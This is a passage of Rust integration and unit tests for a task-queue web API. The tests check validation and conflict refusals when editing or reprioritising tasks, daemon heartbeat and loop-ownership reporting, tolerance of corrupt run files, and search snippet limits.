16610 ));
16611 let mut t = Task::new(
16612 "budget".into(),
16613 "keep".into(),
16614 dir.path().into(),
16615 Source::Human,
16616 );
16617 t.attempts = 2;
16618 t.runs.push("prior-run".into());
16619 t.hold_manual(Some("waiting".into()));
16620 q.put(&mut t).unwrap();
16621 let change = |value| {
16622 queue_attempt_limit(
16623 State(ui.clone()),
16624 Path(t.id.clone()),
16625 Ok(Json(AttemptLimitBody {
16626 attempt_limit: value,
16627 })),
16628 )
16629 };
16630 for value in [
16631 serde_json::json!(3),
16632 serde_json::Value::Null,
16633 serde_json::json!(1),
16634 ] {
16635 let response = change(value.clone()).await.unwrap();
16636 assert_eq!(
16637 serde_json::to_value(response.0).unwrap()["attempt_limit"],
16638 value
16639 );
16640 let saved = q.get(&t.id).unwrap();
16641 assert_eq!(
16642 serde_json::to_value(&saved).unwrap()["attempt_limit"],
16643 value
16644 );
16645 assert_eq!(saved.status, TaskStatus::Held);
16646 assert_eq!(saved.attempts, t.attempts);
16647 assert_eq!(saved.runs, t.runs);
16648 assert_eq!(saved.hold_reason, t.hold_reason);
16649 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16650 .await
16651 .unwrap()
16652 .0;
16653 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16654 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16655 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16656 assert_eq!(outcome.max_attempts, detail.max_attempts);
16657 }
16658 for value in [
16659 serde_json::json!(0),
16660 serde_json::json!(-1),
16661 serde_json::json!(1.5),
16662 serde_json::json!("3"),
16663 serde_json::json!(true),
16664 ] {
16665 assert_eq!(
16666 change(value).await.err().unwrap().status,
16667 StatusCode::BAD_REQUEST
16668 );
16669 }
16670 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16671 let claim = q.claim(&t.id).unwrap();
16672 assert_eq!(
16673 change(serde_json::json!(4)).await.err().unwrap().status,
16674 StatusCode::CONFLICT
16675 );
16676 drop(claim);
16677 for status in [
16678 TaskStatus::Running,
16679 TaskStatus::Done,
16680 TaskStatus::Failed,
16681 TaskStatus::Blocked,
16682 TaskStatus::Parked,
16683 ] {
16684 let mut stored = q.get(&t.id).unwrap();
16685 stored.status = status;
16686 q.put(&mut stored).unwrap();
16687 assert_eq!(
16688 change(serde_json::json!(4)).await.err().unwrap().status,
16689 StatusCode::BAD_REQUEST
16690 );
16691 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16692 }
16693 let mut stored = q.get(&t.id).unwrap();
16694 stored.status = TaskStatus::Queued;
16695 q.put(&mut stored).unwrap();
16696 let _ = change(serde_json::Value::Null).await.unwrap();
16697 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16698 }
16699
16700 #[tokio::test]
16701 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16702 let dir = TempDir::new().unwrap();
16703 let repo = dir.path().join("repo");
16704 std::fs::create_dir(&repo).unwrap();
16705 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16706 let q = Queue::at(dir.path().join("queue"));
16707 let ui = Arc::new(Ui::new(
16708 q.clone(),
16709 Questions::at(dir.path().join("questions")),
16710 Talks::at(dir.path().join("talks")),
16711 dir.path().join("runs"),
16712 dir.path().to_path_buf(),
16713 repo.clone(),
16714 ));
16715 let mut t = Task::new(
16716 "seats".into(),
16717 "keep instruction".into(),
16718 repo,
16719 Source::Human,
16720 );
16721 t.runs.push("prior-run".into());
16722 t.hold_manual(Some("waiting".into()));
16723 q.put(&mut t).unwrap();
16724 let change = |count| {
16725 queue_implementers(
16726 State(ui.clone()),
16727 Path(t.id.clone()),
16728 Ok(Json(ImplementersBody {
16729 implementers: count,
16730 })),
16731 )
16732 };
16733 for count in [2, 1, 2] {
16734 let response = change(count).await.unwrap();
16735 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16736 let saved = q.get(&t.id).unwrap();
16737 assert_eq!(saved.implementers(), Some(usize::from(count)));
16738 assert_eq!(saved.runs, t.runs);
16739 assert_eq!(saved.instruction, t.instruction);
16740 }
16741 for count in [0, 4] {
16742 assert_eq!(
16743 change(count).await.err().unwrap().status,
16744 StatusCode::BAD_REQUEST
16745 );
16746 }
16747 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16748 let claim = q.claim(&t.id).unwrap();
16749 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16750 drop(claim);
16751 for status in [
16752 TaskStatus::Running,
16753 TaskStatus::Done,
16754 TaskStatus::Failed,
16755 TaskStatus::Blocked,
16756 TaskStatus::Parked,
16757 ] {
16758 let mut stored = q.get(&t.id).unwrap();
16759 stored.status = status;
16760 q.put(&mut stored).unwrap();
16761 assert_eq!(
16762 change(1).await.err().unwrap().status,
16763 StatusCode::BAD_REQUEST
16764 );
16765 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16766 }
16767 }
16768
16769 #[tokio::test]
16770 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16771 let f = Fixture::start().await;
16772 let queue = f.queue();
16773 let mut task = Task::new(
16774 "in flight".to_owned(),
16775 "x".to_owned(),
16776 PathBuf::from("/repo/magi"),
16777 Source::Human,
16778 );
16779 task.start("20260902-140502-bbbb".to_owned());
16780 queue.put(&mut task).expect("file the task");
16781
16782 let res = f
16783 .post(
16784 &format!("/api/queue/{}/priority", task.id),
16785 Some(r#"{"priority":9}"#),
16786 )
16787 .await;
16788 assert_eq!(res.status, 400, "{}", res.body);
16789 assert!(
16790 res.json()["error"]
16791 .as_str()
16792 .is_some_and(|e| e.contains("running")),
16793 "{}",
16794 res.body
16795 );
16796 assert_eq!(
16797 queue.get(&task.id).expect("reload").priority,
16798 0,
16799 "the refused write must not partially apply"
16800 );
16801 }
16802
16803 #[tokio::test]
16804 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16805 let f = Fixture::start().await;
16806 let queue = f.queue();
16807 let mut task = Task::new(
16808 "old title".to_owned(),
16809 "old instruction".to_owned(),
16810 PathBuf::from("/repo/magi"),
16811 Source::Agent {
16812 run: "20260101-000000-beef".to_owned(),
16813 node: "implement".to_owned(),
16814 },
16815 );
16816 task.runs.push("20260101-000000-beef".to_owned());
16817 queue.put(&mut task).expect("file the task");
16818 let created_at = task.created_at;
16819
16820 let edited = f
16821 .post(
16822 &format!("/api/queue/{}/edit", task.id),
16823 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16824 )
16825 .await;
16826 assert_eq!(edited.status, 200, "{}", edited.body);
16827 let body = edited.json();
16828 assert_eq!(body["title"], "new title");
16829 assert_eq!(body["instruction"], "new instruction");
16830 assert_eq!(body["id"], task.id, "editing must not mint a new id");
16831 assert_eq!(body["created_at"], created_at.to_string());
16832 assert_eq!(
16833 body["source"]["kind"], "agent",
16834 "editing a task an agent filed must not turn it human: {body}"
16835 );
16836 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
16837
16838 let reloaded = queue.get(&task.id).expect("reload");
16839 assert_eq!(reloaded.title, "new title");
16840 assert_eq!(reloaded.instruction, "new instruction");
16841 }
16842
16843 #[tokio::test]
16844 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
16845 let tmp = TempDir::new().expect("tempdir");
16848 let repo = tmp.path().join("repo");
16849 std::fs::create_dir_all(&repo).expect("repo dir");
16850 let judge = MOCK_AGENT_TOML.replace(
16851 "printf ok",
16852 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
16853 );
16854 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
16855 let f = Fixture::with_repo(repo.clone()).await;
16856 let queue = f.queue();
16857 let mut owner = Task::new(
16858 "owner".to_owned(),
16859 "review it".to_owned(),
16860 repo.clone(),
16861 Source::Human,
16862 );
16863 owner.review_branch = Some("magi/ab12/A".to_owned());
16864 queue.put(&mut owner).expect("file the owner");
16865 let mut task = Task::new(
16866 "draft".to_owned(),
16867 "old".to_owned(),
16868 repo.clone(),
16869 Source::Human,
16870 );
16871 queue.put(&mut task).expect("file the draft");
16872 let url = format!("/api/queue/{}/edit", task.id);
16873
16874 let refused = f
16875 .post(
16876 &url,
16877 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
16878 )
16879 .await;
16880 assert_eq!(refused.status, 409, "{}", refused.body);
16881 let msg = refused.json()["error"]
16882 .as_str()
16883 .unwrap_or_default()
16884 .to_owned();
16885 assert!(
16886 msg.contains("magi/ab12/A") && msg.contains("force"),
16887 "{msg}"
16888 );
16889 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
16890
16891 let forced = f
16892 .post(
16893 &url,
16894 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
16895 )
16896 .await;
16897 assert_eq!(forced.status, 200, "{}", forced.body);
16898 }
16899
16900 #[tokio::test]
16901 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
16902 let f = Fixture::start().await;
16903 let queue = f.queue();
16904 let mut task = Task::new(
16905 "in flight".to_owned(),
16906 "do not touch".to_owned(),
16907 PathBuf::from("/repo/magi"),
16908 Source::Human,
16909 );
16910 task.start("20260902-140502-bbbb".to_owned());
16911 queue.put(&mut task).expect("file the task");
16912
16913 let res = f
16914 .post(
16915 &format!("/api/queue/{}/edit", task.id),
16916 Some(r#"{"title":"x","instruction":"y"}"#),
16917 )
16918 .await;
16919 assert_eq!(res.status, 400, "{}", res.body);
16920 assert!(
16921 res.json()["error"]
16922 .as_str()
16923 .is_some_and(|e| e.contains("running")),
16924 "{}",
16925 res.body
16926 );
16927 assert_eq!(
16928 queue.get(&task.id).expect("reload").instruction,
16929 "do not touch",
16930 "the refused edit must not change the file"
16931 );
16932 }
16933
16934 #[tokio::test]
16935 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
16936 let f = Fixture::start().await;
16937 let queue = f.queue();
16938 let mut task = Task::new(
16939 "busy".to_owned(),
16940 "Running right now".to_owned(),
16941 PathBuf::from("/repo/magi"),
16942 Source::Human,
16943 );
16944 queue.put(&mut task).expect("file the task");
16945 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16946
16947 let priority = f
16948 .post(
16949 &format!("/api/queue/{}/priority", task.id),
16950 Some(r#"{"priority":9}"#),
16951 )
16952 .await;
16953 assert_eq!(priority.status, 409, "{}", priority.body);
16954
16955 let edit = f
16956 .post(
16957 &format!("/api/queue/{}/edit", task.id),
16958 Some(r#"{"title":"x","instruction":"y"}"#),
16959 )
16960 .await;
16961 assert_eq!(edit.status, 409, "{}", edit.body);
16962 }
16963
16964 #[tokio::test]
16965 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16966 let f = Fixture::start().await;
16967 let queue = f.queue();
16968 let mut task = Task::new(
16969 "shipped by hand".to_owned(),
16970 "merged outside the loop".to_owned(),
16971 PathBuf::from("/repo/magi"),
16972 Source::Agent {
16973 run: "20260101-000000-b455".to_owned(),
16974 node: "implement".to_owned(),
16975 },
16976 );
16977 task.runs.push("20260101-000000-b455".to_owned());
16978 task.runs.push("20260101-000000-9af4".to_owned());
16979 queue.put(&mut task).expect("file the task");
16980 let created_at = task.created_at;
16981
16982 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16983 assert_eq!(done.status, 200, "{}", done.body);
16984 assert_eq!(done.json()["status_str"], "done");
16985
16986 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16987 assert_eq!(
16988 reloaded.runs,
16989 ["20260101-000000-b455", "20260101-000000-9af4"]
16990 );
16991 assert_eq!(
16992 reloaded.source,
16993 Source::Agent {
16994 run: "20260101-000000-b455".to_owned(),
16995 node: "implement".to_owned(),
16996 }
16997 );
16998 assert_eq!(reloaded.created_at, created_at);
16999 }
17000
17001 #[tokio::test]
17002 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17003 let f = Fixture::start().await;
17008 let queue = f.queue();
17009 let mut task = Task::new(
17010 "landed while held".to_owned(),
17011 "x".to_owned(),
17012 PathBuf::from("/repo/magi"),
17013 Source::Human,
17014 );
17015 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17016 queue.put(&mut task).expect("file the held task");
17017
17018 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17019 assert_eq!(done.status, 200, "{}", done.body);
17020 assert_eq!(done.json()["status_str"], "done");
17021 assert!(
17022 done.json()["hold_reason"].is_null(),
17023 "a done task cannot still be waiting on something: {}",
17024 done.body
17025 );
17026 }
17027
17028 #[tokio::test]
17029 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17030 let f = Fixture::start().await;
17035 let queue = f.queue();
17036 let runs = f.runs();
17037 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17038 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17042
17043 let mut task = Task::new(
17044 "landed by hand".to_owned(),
17045 "x".to_owned(),
17046 PathBuf::from("/repo/magi"),
17047 Source::Human,
17048 );
17049 task.runs.push("20260101-000000-doa1".to_owned());
17050 task.runs.push("20260101-000000-doa2".to_owned());
17051 queue.put(&mut task).expect("file the task");
17052
17053 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17054 assert_eq!(done.status, 200, "{}", done.body);
17055
17056 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17057 .expect("run still on disk under this fixture's own home");
17058 assert_eq!(
17059 reloaded_run.status,
17060 RunStatus::Superseded,
17061 "closing the task by hand must relabel the earlier blocked attempt exactly \
17062 like the loop's own settle path does"
17063 );
17064 }
17065
17066 #[tokio::test]
17067 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17068 let f = Fixture::start().await;
17073 let queue = f.queue();
17074 let runs = f.runs();
17075 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17076 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17077
17078 let mut task = Task::new(
17079 "closed with nothing actually landed".to_owned(),
17080 "x".to_owned(),
17081 PathBuf::from("/repo/magi"),
17082 Source::Human,
17083 );
17084 task.runs.push("20260101-000000-dob1".to_owned());
17085 task.runs.push("20260101-000000-dob2".to_owned());
17086 queue.put(&mut task).expect("file the task");
17087
17088 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17089 assert_eq!(done.status, 200, "{}", done.body);
17090
17091 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17092 .expect("run still on disk under this fixture's own home");
17093 assert_eq!(
17094 reloaded_run.status,
17095 RunStatus::Blocked,
17096 "the last recorded attempt never landed, so the earlier one must not be \
17097 relabelled as superseded by it"
17098 );
17099 }
17100
17101 #[tokio::test]
17102 async fn unknown_ids_are_json_not_found_on_both_stores() {
17103 let f = Fixture::start().await;
17104
17105 let run = f.get("/api/runs/nosuchrun").await;
17106 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17107
17108 assert_eq!(run.status, 404);
17109 assert_eq!(task.status, 404);
17110 assert!(
17111 run.json()["error"]
17112 .as_str()
17113 .is_some_and(|e| e.contains("run")),
17114 "the error names what was not found: {}",
17115 run.body
17116 );
17117 assert!(
17118 task.json()["error"]
17119 .as_str()
17120 .is_some_and(|e| e.contains("task")),
17121 "the error names what was not found: {}",
17122 task.body
17123 );
17124 }
17125
17126 #[tokio::test]
17127 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17128 let f = Fixture::start().await;
17129
17130 let missing = f.get("/api/health").await.json();
17131 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17132
17133 write_daemon(
17134 f.home.path(),
17135 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17136 );
17137 let stale = f.get("/api/health").await.json();
17138 assert_eq!(
17139 stale["daemon"]["running"], false,
17140 "a minute without a heartbeat is a dead daemon, not a busy one"
17141 );
17142 assert!(
17143 stale["daemon"]["stale_for_secs"]
17144 .as_i64()
17145 .is_some_and(|s| s >= 55),
17146 "staleness is reported so the UI can say how long: {stale}"
17147 );
17148
17149 write_daemon(f.home.path(), Timestamp::now());
17150 let fresh = f.get("/api/health").await.json();
17151 assert_eq!(fresh["daemon"]["running"], true);
17152 assert_eq!(fresh["daemon"]["idle"], false);
17153 assert_eq!(fresh["daemon"]["pid"], 4242);
17154 assert_eq!(fresh["daemon"]["completed"], 7);
17155 assert_eq!(
17156 fresh["daemon"]["current"][0]["task"],
17157 "20260902-140501-aaaa"
17158 );
17159 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17160 }
17161
17162 #[tokio::test]
17163 async fn the_loop_is_not_running_until_something_starts_it() {
17164 let f = Fixture::start().await;
17165
17166 let view = f.get("/api/loop").await.json();
17167 assert_eq!(view["running"], false);
17168 assert_eq!(
17169 view["owned"], false,
17170 "nobody owns a loop that does not exist: {view}"
17171 );
17172 assert_eq!(view["stopping"], false);
17173 assert_eq!(view["last_error"], Value::Null);
17174 assert_eq!(view["daemon"]["running"], false);
17175 assert_eq!(
17176 view["repo"], "/repo/magi",
17177 "the repository a start would use, named before it is started"
17178 );
17179 }
17180
17181 #[tokio::test]
17182 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17183 let f = Fixture::start().await;
17184
17185 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17186 assert_eq!(res.status, 200, "{}", res.body);
17187 let view = res.json();
17188 assert_eq!(view["running"], true);
17189 assert_eq!(
17190 view["owned"], true,
17191 "the loop the UI started is the UI's own to stop: {view}"
17192 );
17193 assert_eq!(
17194 view["merge"],
17195 Value::Null,
17196 "no override was given, so each repository's own config decides"
17197 );
17198
17199 let health = f.get("/api/health").await.json();
17203 assert_eq!(health["loop"]["running"], true, "{health}");
17204 assert_eq!(health["loop"]["owned"], true, "{health}");
17205
17206 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17207 }
17208
17209 #[tokio::test]
17210 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17211 let f = Fixture::start().await;
17212 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17213 assert_eq!(first.status, 200, "{}", first.body);
17214
17215 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17216 assert_eq!(
17217 again.status, 409,
17218 "two loops on one queue race for the same claims: {}",
17219 again.body
17220 );
17221 assert!(
17222 again.json()["error"]
17223 .as_str()
17224 .is_some_and(|e| e.contains("already running the loop")),
17225 "the refusal has to say why: {}",
17226 again.body
17227 );
17228 assert_eq!(
17229 f.get("/api/loop").await.json()["running"],
17230 true,
17231 "and the loop that was already running is untouched by it"
17232 );
17233
17234 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17235 }
17236
17237 #[tokio::test]
17238 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17239 let f = Fixture::start().await;
17240 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17241
17242 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17243 assert_eq!(
17244 res.status, 200,
17245 "the answer must not wait for the loop: a run in flight is tens of \
17246 minutes and the operator is holding a phone: {}",
17247 res.body
17248 );
17249
17250 let view = settled(&f, |v| v["running"] == false).await;
17251 assert_eq!(view["owned"], false);
17252 assert_eq!(
17253 view["stopping"], false,
17254 "a loop that has stopped is not still stopping: {view}"
17255 );
17256 assert_eq!(
17257 view["last_error"],
17258 Value::Null,
17259 "a loop that was asked to stop did not fail: {view}"
17260 );
17261
17262 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17265 assert_eq!(twice.status, 200, "{}", twice.body);
17266 }
17267
17268 #[tokio::test]
17269 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17270 let f = Fixture::start().await;
17271 write_daemon(f.home.path(), Timestamp::now());
17274
17275 let view = f.get("/api/loop").await.json();
17276 assert_eq!(view["running"], false, "not in this process: {view}");
17277 assert_eq!(view["owned"], false, "and not this process's to control");
17278 assert_eq!(
17279 view["daemon"]["running"], true,
17280 "but a loop is alive somewhere, which is what the UI must say"
17281 );
17282 assert_eq!(view["daemon"]["pid"], 4242);
17283
17284 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17285 let res = f.post("/api/loop", Some(body)).await;
17286 assert_eq!(
17287 res.status, 409,
17288 "neither button may pretend to work on someone else's loop: {}",
17289 res.body
17290 );
17291 assert!(
17292 res.json()["error"]
17293 .as_str()
17294 .is_some_and(|e| e.contains("4242")),
17295 "the refusal has to name the process the operator must go to: {}",
17296 res.body
17297 );
17298 }
17299 assert_eq!(
17300 f.get("/api/loop").await.json()["running"],
17301 false,
17302 "and the refusal started nothing"
17303 );
17304 }
17305
17306 #[tokio::test]
17307 async fn a_stale_status_file_is_not_a_foreign_owner() {
17308 let f = Fixture::start().await;
17309 write_daemon(
17310 f.home.path(),
17311 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17312 );
17313
17314 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17315 assert_eq!(
17316 res.status, 200,
17317 "a daemon killed a minute ago must not lock the loop out of its \
17318 own home for good: {}",
17319 res.body
17320 );
17321 assert_eq!(res.json()["running"], true);
17322
17323 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17324 }
17325
17326 #[tokio::test]
17327 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17328 let f = Fixture::start().await;
17329 let before = f.get("/api/health").await.json()["loop_rev"]
17330 .as_u64()
17331 .expect("a loop revision");
17332
17333 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17334
17335 let after = f.get("/api/health").await.json()["loop_rev"]
17336 .as_u64()
17337 .expect("a loop revision");
17338 assert!(
17339 after > before,
17340 "the loop is in-process state, so this counter is the only thing \
17341 that tells a second device the first one started it: {before} -> \
17342 {after}"
17343 );
17344
17345 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17346 }
17347
17348 #[tokio::test]
17349 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17350 let f = Fixture::with_loop(launch_broken).await;
17351
17352 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17353 assert_eq!(
17354 res.status, 200,
17355 "starting it is not the failure: {}",
17356 res.body
17357 );
17358
17359 let view = settled(&f, |v| v["last_error"].is_string()).await;
17360 assert_eq!(
17361 view["running"], false,
17362 "a loop that died must not read as running, or the operator has \
17363 nothing to press: {view}"
17364 );
17365 assert_eq!(view["owned"], false);
17366 assert!(
17367 view["last_error"]
17368 .as_str()
17369 .is_some_and(|e| e.contains("read-only file system")),
17370 "the phone is where a loop that died at 3am is visible: {view}"
17371 );
17372
17373 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17376 assert_eq!(again.status, 200, "{}", again.body);
17377 assert!(
17378 again.json()["last_error"]
17379 .as_str()
17380 .is_none_or(|e| !e.contains("read-only file system")),
17381 "a fresh start does not keep showing why the last one died: {}",
17382 again.body
17383 );
17384 }
17385
17386 #[tokio::test]
17387 async fn a_newer_daemon_status_file_still_renders() {
17388 let f = Fixture::start().await;
17389 std::fs::write(
17392 f.home.path().join("daemon.json"),
17393 serde_json::json!({
17394 "schema": 2,
17395 "updated_at": Timestamp::now().to_string(),
17396 "idle": true,
17397 "surprise": { "nested": [1, 2, 3] },
17398 })
17399 .to_string(),
17400 )
17401 .expect("write daemon.json");
17402
17403 let health = f.get("/api/health").await;
17404
17405 assert_eq!(health.status, 200);
17406 assert_eq!(health.json()["daemon"]["running"], true);
17407 }
17408
17409 #[tokio::test]
17410 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17411 let f = Fixture::start().await;
17412 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17413 let broken = f.runs().join("20260902-140502-bad");
17414 std::fs::create_dir_all(&broken).expect("run dir");
17415 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17416
17417 let list = f.get("/api/runs").await;
17418 let detail = f.get("/api/runs/20260902-140502-bad").await;
17419
17420 assert_eq!(list.status, 200);
17421 let listed = list.json();
17422 let ids: Vec<&str> = listed
17423 .as_array()
17424 .expect("an array")
17425 .iter()
17426 .map(|r| r["id"].as_str().expect("an id"))
17427 .collect();
17428 assert_eq!(
17429 ids,
17430 vec!["20260902-140501-good"],
17431 "one unreadable run must not cost the operator the whole history"
17432 );
17433 assert_eq!(detail.status, 500);
17434 assert!(
17435 detail.json()["error"]
17436 .as_str()
17437 .is_some_and(|e| e.contains("run.json")),
17438 "the failure names the file to look at: {}",
17439 detail.body
17440 );
17441 let health = f.get("/api/health").await;
17445 assert_eq!(health.json()["runs_unreadable"], 1);
17446 }
17447
17448 #[tokio::test]
17450 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17451 let f = Fixture::start().await;
17452 let runs = f.runs();
17453 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17454 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17455 let path = runs.join("20260902-140502-bbbb").join("run.json");
17458 let mut v: serde_json::Value =
17459 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17460 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17461 std::fs::write(&path, v.to_string()).unwrap();
17462 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17463 std::fs::write(
17464 runs.join("20260902-140503-cccc").join("run.json"),
17465 "{ not json",
17466 )
17467 .unwrap();
17468
17469 let res = f.get("/api/search?scope=runs&q=quokka").await;
17470 assert_eq!(res.status, 200, "{}", res.body);
17471 let v = res.json();
17472 assert_eq!(v["total"], 1, "{v}");
17473 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17474 assert_eq!(v["hits"][0]["field"], "text");
17475 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17476 let parts = v["hits"][0]["snippet"].as_array().unwrap();
17477 assert!(
17478 parts
17479 .iter()
17480 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17481 "{v}"
17482 );
17483 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17484 assert_eq!(
17485 flat, "The Quokka leaks across threads",
17486 "whitespace is collapsed"
17487 );
17488
17489 let both = f
17491 .get("/api/search?scope=runs&q=MOBILE%20quokka")
17492 .await
17493 .json();
17494 assert_eq!(both["total"], 1, "{both}");
17495 let neither = f
17496 .get("/api/search?scope=runs&q=quokka%20zebra")
17497 .await
17498 .json();
17499 assert_eq!(neither["total"], 0, "{neither}");
17500 let stmt = f
17502 .get("/api/search?scope=runs&q=mobile%20first")
17503 .await
17504 .json();
17505 assert_eq!(stmt["total"], 2, "{stmt}");
17506 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17507 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17508 }
17509
17510 #[test]
17511 fn snippet_ignores_terms_longer_than_the_field() {
17512 let terms = ["ok".to_owned(), "elephant".to_owned()];
17513 let parts = snippet_of("ok", &terms);
17514 assert_eq!(
17515 parts,
17516 vec![SnippetPart {
17517 text: "ok".to_owned(),
17518 hit: true
17519 }]
17520 );
17521 }
17522
17523 #[test]
17524 fn snippet_marks_matches_longer_than_the_window() {
17525 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17526 let hit_len = |parts: &[SnippetPart]| -> usize {
17527 parts
17528 .iter()
17529 .filter(|p| p.hit)
17530 .map(|p| p.text.chars().count())
17531 .sum()
17532 };
17533 let total =
17534 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17535
17536 let long = "a".repeat(120);
17537 let parts = snippet_of(&long, std::slice::from_ref(&long));
17538 assert!(hit_len(&parts) > 0, "{parts:?}");
17539 assert!(total(&parts) <= cap);
17540
17541 let ja = "あ".repeat(130);
17542 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17543 assert!(hit_len(&parts) > 0, "{parts:?}");
17544 assert!(total(&parts) <= cap);
17545
17546 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17548 let term = format!("ab{}", "c".repeat(100));
17549 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17550 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17551 assert!(total(&parts) <= cap);
17552
17553 let text = format!("{}z", "a".repeat(119));
17555 let parts = snippet_of(&text, &["a".repeat(120)]);
17556 assert_eq!(hit_len(&parts), 0, "{parts:?}");
17557 }
17558
17559 #[tokio::test]
17560 async fn search_caps_hits_and_snippet_length() {
17561 let f = Fixture::start().await;
17562 let runs = f.runs();
17563 for n in 0..(SEARCH_MAX_HITS + 5) {
17564 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17565 }
17566 let v = f.get("/api/search?scope=runs&q=web").await.json();
17567 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17568 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17569 assert_eq!(v["truncated"], true);
17570 assert!(
17572 v["hits"]
17573 .as_array()
17574 .unwrap()
17575 .iter()
17576 .all(|h| h["run"]["status"] == "merged")
17577 );
17578
17579 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17580 let parts = snippet_of(&long, &["needle".to_owned()]);
17581 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17582 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17583 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17584 }
17585
17586 #[tokio::test]
17587 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17588 let f = Fixture::start().await;
17589 let queue = f.queue();
